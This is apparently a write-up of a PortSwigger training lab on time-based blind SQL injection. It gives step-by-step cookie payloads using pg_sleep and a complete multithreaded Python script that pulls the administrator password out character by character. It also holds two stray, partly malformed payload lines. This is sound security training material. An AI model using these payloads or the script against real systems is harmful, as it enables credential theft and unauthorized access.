← Writeups

Blind SQL injection with time delays and information retrieval

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.


  1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.

  2. Modify the TrackingId cookie, changing it to:

    TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
Verify that the application takes 10 seconds to respond.

3. Now change it to:

`TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--`

Verify that the application responds immediately with no time delay. This demonstrates how you can test a single boolean condition and infer the result.

4. Now change it to:

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

Verify that the condition is true, confirming that there is a user called `administrator`.

5. The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

This condition should be true, confirming that the password is greater than 1 character in length.

6. Send a series of follow-up values to test different password lengths. Send:

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

Then send:

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

And so on. You can do this manually using [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the application responds immediately without a time delay), you have determined the length of the password, which is in fact 20 characters long.

7. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu. 8. In Burp Intruder, change the value of the cookie to:

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

This uses the `SUBSTRING()` function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.

9. Place payload position markers around the a character in the cookie value. To do this, select just the a, and click the Add § button. You should then see the following as the cookie value (note the payload position markers):

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`
';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

    payload = f"{trackingid}';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,{position},1)={character}) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--"


    payload = f"{trackingid}' AND SUBSTRING(,{position},1)='{character}"

  1. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lower case alphanumeric characters. In the Payloads side panel, check that Simple list is selected, and under Payload configuration add the payloads in the range a - z and 0 - 9. You can select these easily using the Add from list drop-down.

  2. To be able to tell when the correct character was submitted, you'll need to monitor the time taken for the application to respond to each request. For this process to be as reliable as possible, you need to configure the Intruder attack to issue requests in a single thread. To do this, click the Resource pool tab to open the Resource pool side panel and add the attack to a resource pool with the Maximum concurrent requests set to 1.

  3. Launch the attack by clicking the Start attack button.

  4. Review the attack results to find the value of the character at the first position. You should see a column in the results called Response received. This will generally contain a small number, representing the number of milliseconds the application took to respond. One of the rows should have a larger number in this column, in the region of 10,000 milliseconds. The payload showing for that row is the value of the character at the first position.

  5. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window and change the specified offset from 1 to 2. You should then see the following as the cookie value:

    TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

  6. Launch the modified attack, review the results, and note the character at the second offset.

  7. Continue this process testing offset 3, 4, and so on, until you have the whole password.

  8. In the browser, click My account to open the login page. Use the password to log in as the administrator user.

#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
import threading

url = 'https://0ac400b5040ce9e8806d7bf3003f00e1.web-security-academy.net/'
trackingid = '8vnccIM6ebUNzz26'

# Configuración
PASSWORD_LENGTH = 20
CHARSET = ascii_lowercase + digits
SESSION_ID = 'qrP2MhMx6JHd92nx'
MAX_WORKERS = 10  # Reducido para no saturar
SLEEP_TIME = 5    # Tiempo de sleep en segundos (ajustar según respuesta)
REQUEST_TIMEOUT = SLEEP_TIME + 2  # Timeout mayor que el sleep

# Lock para impresión thread-safe
print_lock = threading.Lock()

def check_character(position: int, character: str) -> tuple:
    """Verifica si un carácter está en la posición específica midiendo el tiempo de respuesta"""
    # Payload con sleep condicional
    payload = f"{trackingid}'||(SELECT CASE WHEN (SUBSTRING(password,{position},1)='{character}') THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(0) END FROM users WHERE username='administrator')||'"
    
    cookie = {
        'session': SESSION_ID,
        'TrackingId': payload
    }
    
    try:
        start_time = time.time()
        response = requests.get(url, cookies=cookie, timeout=REQUEST_TIMEOUT)
        elapsed_time = time.time() - start_time
        
        # Si el tiempo de respuesta es mayor al sleep, el carácter es correcto
        is_correct = elapsed_time >= SLEEP_TIME
        
        return position, character, is_correct, elapsed_time
        
    except requests.Timeout:
        # Timeout indica que probablemente el sleep se ejecutó
        return position, character, True, SLEEP_TIME
    except requests.RequestException as e:
        return position, character, False, 0

def find_character(position: int) -> str:
    """Encuentra el carácter correcto para una posición usando hilos"""
    found_char = None
    
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        # Enviar todas las verificaciones en paralelo
        future_to_char = {
            executor.submit(check_character, position, char): char 
            for char in CHARSET
        }
        
        completed = 0
        for future in as_completed(future_to_char):
            pos, char, found, response_time = future.result()
            completed += 1
            
            # Mostrar progreso para esta posición
            with print_lock:
                print(f'[+] Posición {position}: Probando "{char}" - Tiempo: {response_time:.2f}s - ({completed}/{len(CHARSET)})', end='\r')
            
            if found:
                found_char = char
                # Cancelar todas las tareas pendientes
                for f in future_to_char:
                    f.cancel()
                break
    
    return found_char

def find_character_optimized(position: int) -> str:
    """Versión optimizada que procesa en lotes más pequeños"""
    batch_size = 5  # Procesar 5 caracteres a la vez
    
    for i in range(0, len(CHARSET), batch_size):
        batch = CHARSET[i:i + batch_size]
        
        with ThreadPoolExecutor(max_workers=batch_size) as executor:
            future_to_char = {
                executor.submit(check_character, position, char): char 
                for char in batch
            }
            
            for future in as_completed(future_to_char):
                pos, char, found, response_time = future.result()
                
                with print_lock:
                    print(f'[+] Posición {position}: Probando "{char}" - Tiempo: {response_time:.2f}s', end='\r')
                
                if found:
                    executor.shutdown(wait=False)
                    return char
    
    return None

def main():
    password = []
    start_time_total = time.time()
    
    print(f"[*] Iniciando extracción de contraseña con sleep({SLEEP_TIME}s)...")
    print(f"[*] Charset: {len(CHARSET)} caracteres")
    print(f"[*] Longitud esperada: {PASSWORD_LENGTH} caracteres\n")
    
    try:
        for position in range(1, PASSWORD_LENGTH + 1):
            position_start_time = time.time()
            
            print(f'[*] Buscando posición {position}...')
            
            # Usar la versión optimizada para mejor control
            char = find_character_optimized(position)
            
            if char:
                password.append(char)
                position_time = time.time() - position_start_time
                
                with print_lock:
                    current_password = ''.join(password)
                    print(f'[✓] Posición {position}: "{char}" - Contraseña: {current_password} - Tiempo: {position_time:.2f}s')
            else:
                print(f'\n[-] Error: No se encontró carácter en posición {position}')
                break

            # Estimar tiempo restante
            if len(password) > 3:
                avg_time_per_char = (time.time() - start_time_total) / len(password)
                remaining_chars = PASSWORD_LENGTH - len(password)
                estimated_remaining = avg_time_per_char * remaining_chars
                print(f'[*] Tiempo estimado restante: {estimated_remaining:.2f}s\n')

        final_password = ''.join(password)
        total_time = time.time() - start_time_total
        
        print(f'\n{"="*50}')
        print(f'[+] Contraseña encontrada: {final_password}')
        print(f'[+] Tiempo total: {total_time:.2f}s')
        print(f'[+] Velocidad promedio: {total_time/PASSWORD_LENGTH:.2f}s por carácter')
        print(f'{"="*50}')
        
    except KeyboardInterrupt:
        total_time = time.time() - start_time_total
        current_password = ''.join(password)
        print(f'\n[*] Ejecución interrumpida por el usuario')
        print(f'[*] Contraseña parcial: {current_password}')
        print(f'[*] Tiempo transcurrido: {total_time:.2f}s')

if __name__ == "__main__":
    main()